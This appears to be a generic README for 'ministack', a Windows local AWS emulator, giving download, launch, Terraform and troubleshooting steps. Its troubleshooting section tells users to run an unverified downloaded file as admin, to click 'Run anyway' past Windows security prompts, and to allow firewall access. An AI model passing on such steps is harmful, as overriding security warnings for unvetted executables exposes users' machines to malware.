ministack is a local AWS emulator for Windows. It lets you run a set of common AWS services on your own computer. You can use it for testing, learning, and local app work without setting up real cloud services.
It is made for people who want a simple way to work with AWS-style tools at home or in a dev setup. It supports more than 40 services, works with Terraform, and includes real databases for local use.
- Local AWS-style services on Windows
- Support for 40+ cloud services
- S3-style file storage
- DynamoDB-style tables
- SQS-style queues
- Lambda-style functions
- EC2-style test setup
- Docker-based local use
- Terraform support
- Open-source MIT license
Before you install ministack, make sure your PC meets these basic needs:
- Windows 10 or Windows 11
- 64-bit system
- At least 8 GB RAM
- 10 GB free disk space
- Internet access for the first download
- Admin rights on the PC
- Docker Desktop installed if the release package uses Docker
Use the release page to visit this page to download the Windows build that matches your PC:
Visit the ministack releases page
After you open the page, look for the latest release and download the Windows file from the Assets list.
- Open the releases page.
- Find the latest release at the top of the page.
- Look under Assets.
- Download the Windows file that fits your setup.
- If the file is a zip file, extract it to a folder like
C:\ministack. - If the file is an installer, open it and follow the setup steps.
- If Windows asks for permission, choose Yes.
- If the release uses Docker, start Docker Desktop first.
- Open the folder where you saved ministack.
- Start the app file or launcher from that folder.
- Wait for the local services to start.
- Open the app window or local web page if one appears.
- Keep the app open while you use your local AWS services.
If the app opens in a browser, leave that tab open while your test tools run.
After ministack starts, you can begin using local services for test work.
A common first setup looks like this:
- Create a local S3 bucket for files.
- Create a DynamoDB table for test data.
- Start a queue for background jobs.
- Run a Lambda test function.
- Point your app or tool to the local endpoints.
If you use Terraform, set it to the local endpoints that ministack provides.
- Test an app before using real AWS
- Store test files in a local S3 setup
- Save and read sample data in DynamoDB
- Try queue-based work with SQS
- Run Lambda code on your own PC
- Check Terraform files before cloud deploys
- Build and test tools that use AWS SDK calls
A simple local workflow can look like this:
- Start ministack.
- Open your app project.
- Change the AWS endpoint in your app settings.
- Run your app.
- Watch how it uses the local services.
- Fix any setup issue before you move to real AWS.
This keeps your test work on your PC and helps you check changes fast.
ministack is built to cover a wide set of AWS-style services. That includes common tools used in day-to-day app work:
- Compute services
- File storage
- Queue services
- Table storage
- Local databases
- Event and job tools
- Network and app test tools
It aims to act like AWS in the places most local test setups need.
If you use Terraform, ministack can help you test your stack before you deploy it to AWS.
A simple setup often includes:
- A local provider config
- Local service endpoints
- Test buckets, tables, and queues
- A short Terraform plan run
This helps you spot setup issues early.
ministack uses local storage on your PC. That means your test data stays on your device while the app runs.
This is useful when you want:
- Fast test cycles
- No cloud bill for local work
- Data that you can reset with ease
- Real database behavior in a local setup
If ministack does not open, try these steps:
- Check that you downloaded the latest Windows release.
- Make sure you extracted the files if the download was a zip file.
- Run the file as an admin.
- Start Docker Desktop first if the release needs it.
- Close other heavy apps and try again.
- Restart your PC and launch ministack one more time.
If Windows shows a security prompt:
- Open the file menu or right-click the file.
- Choose Run anyway if you trust the source.
- Allow access if Windows asks for firewall permission.
- Keep the app on your local network only if your setup needs it.
You can keep ministack in a simple folder so it is easy to find later:
C:\ministackC:\Tools\ministackD:\Apps\ministack
Keep the app in a folder with a short path. This helps with setup and file access.
Check the releases page when you want the latest version:
Use the newest release file each time you update.
- Repository: ministack
- Type: Local AWS emulator
- License: MIT
- Main platform: Windows
- Topics: aws, aws-emulator, aws-local, aws-sdk, devtools, docker, dynamodb, ec2, emulator, lambda, localstack, localstack-alternative, ministack, mock-aws, open-source, python, s3, sqs, terraform
Once ministack runs, you should see local AWS-style tools ready for use. You can point your app, SDK, or Terraform config to the local service URLs and begin testing right away.
A normal setup gives you a local place to work with buckets, tables, queues, and app code without using a real cloud account.
- Visit the releases page.
- Download the Windows release file.
- Extract or install it.
- Open the app.
- Keep it running while you test your app